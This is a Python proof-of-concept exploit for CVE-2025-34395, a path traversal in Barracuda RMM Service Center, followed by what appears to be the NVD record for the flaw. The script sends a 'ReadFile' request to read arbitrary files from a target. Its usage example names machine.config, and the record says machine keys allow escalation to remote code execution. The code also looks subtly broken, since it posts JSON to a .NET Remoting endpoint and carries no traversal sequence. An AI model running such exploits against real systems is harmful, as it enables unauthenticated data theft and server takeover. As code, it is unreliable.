CVE-2025-34395

# CVE-2025-34395 Path Traversal PoC for Barracuda RMM Service Center # Reference: https://www.vulncheck.com/advisories/barracuda-rmm-service-center-net-remoting-path-traversal-rce import requests import sys def exploit_path_traversal(target_url, file_path): """ Exploit path traversal to read arbitrary files from Barracuda RMM Service Center """ # Construct the path traversal payload payload = { 'method': 'ReadFile', 'params': { 'filePath': file_path } } headers = { 'Content-Type': 'application/octet-stream', 'SOAPAction': 'http://tempuri.org/IServiceCenter/ReadFile' } try: response = requests.post(target_url, json=payload, headers=headers, timeout=30) return response.text except requests.exceptions.RequestException as e: return f"Error: {str(e)}" def main(): if len(sys.argv) < 3: print("Usage: python cve-2025-34395.py <target_url> <file_to_read>") print("Example: python cve-2025-34395.py https://target:8080/ServiceCenter.rem C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\Config\\machine.config") sys.exit(1) target = sys.argv[1] file_path = sys.argv[2] print(f"[*] Attempting to read: {file_path}") result = exploit_path_traversal(target, file_path) print(f"[+] Response:\n{result}") if __name__ == "__main__": main()

{"cve": {"id": "CVE-2025-34395", "sourceIdentifier": "[email protected]", "published": "2025-12-10T16:16:24.640", "lastModified": "2025-12-23T14:32:56.573", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "Barracuda Service Center, as implemented in the RMM solution, in versions prior to 2025.1.1, exposes a .NET Remoting service in which an unauthenticated attacker can invoke a method vulnerable to path traversal to read arbitrary files. This vulnerability can be escalated to remote code execution by retrieving the .NET machine keys."}], "metrics": {"cvssMetricV40": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "4.0", "vectorString": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X", "baseScore": 8.7, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "attackRequirements": "NONE", "privilegesRequired": "NONE", "userInteraction": "NONE", "vulnConfidentialityImpact": "HIGH", "vulnIntegrityImpact": "NONE", "vulnAvailabilityImpact": "NONE", "subConfidentialityImpact": "NONE", "subIntegrityImpact": "NONE", "subAvailabilityImpact": "NONE", "exploitMaturity": "NOT_DEFINED", "confidentialityRequirement": "NOT_DEFINED", "integrityRequirement": "NOT_DEFINED", "availabilityRequirement": "NOT_DEFINED", "modifiedAttackVector": "NOT_DEFINED", "modifiedAttackComplexity": "NOT_DEFINED", "modifiedAttackRequirements": "NOT_DEFINED", "modifiedPrivilegesRequired": "NOT_DEFINED", "modifiedUserInteraction": "NOT_DEFINED", "modifiedVulnConfidentialityImpact": "NOT_DEFINED", "modifiedVulnIntegrityImpact": "NOT_DEFINED", "modifiedVulnAvailabilityImpact": "NOT_DEFINED", "modifiedSubConfidentialityImpact": "NOT_DEFINED", "modifiedSubIntegrityImpact": "NOT_DEFINED", "modifiedSubAvailabilityImpact": "NOT_DEFINED", "Safety": "NOT_DEFINED", "Automatable": "NOT_DEFINED", "Recovery": "NOT_DEFINED", "valueDensity": "NOT_DEFINED", "vulnerabilityResponseEffort": "NOT_DEFINED", "providerUrgency": "NOT_DEFINED"}}], "cvssMetricV31": [{"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N", "baseScore": 7.5, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "NONE", "availabilityImpact": "NONE"}, "exploitabilityScore": 3.9, "impactScore": 3.6}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-22"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:barracuda:rmm:*:*:*:*:*:*:*:*", "versionEndExcluding": "2025.1.1", "matchCriteriaId": "C6E07E55-A5C9-4B12-8CC2-891D3F8F087D"}]}]}], "references": [{"url": "https://download.mw-rmm.barracudamsp.com/PDF/2025.1.1/RN_BRMM_2025.1.1_EN.pdf", "source": "[email protected]", "tags": ["Release Notes"]}, {"url": "https://www.barracuda.com/products/msp/network-protection/rmm", "source": "[email protected]", "tags": ["Product"]}, {"url": "https://www.vulncheck.com/advisories/barracuda-rmm-service-center-net-remoting-path-traversal-rce", "source": "[email protected]", "tags": ["Third Party Advisory"]}]}}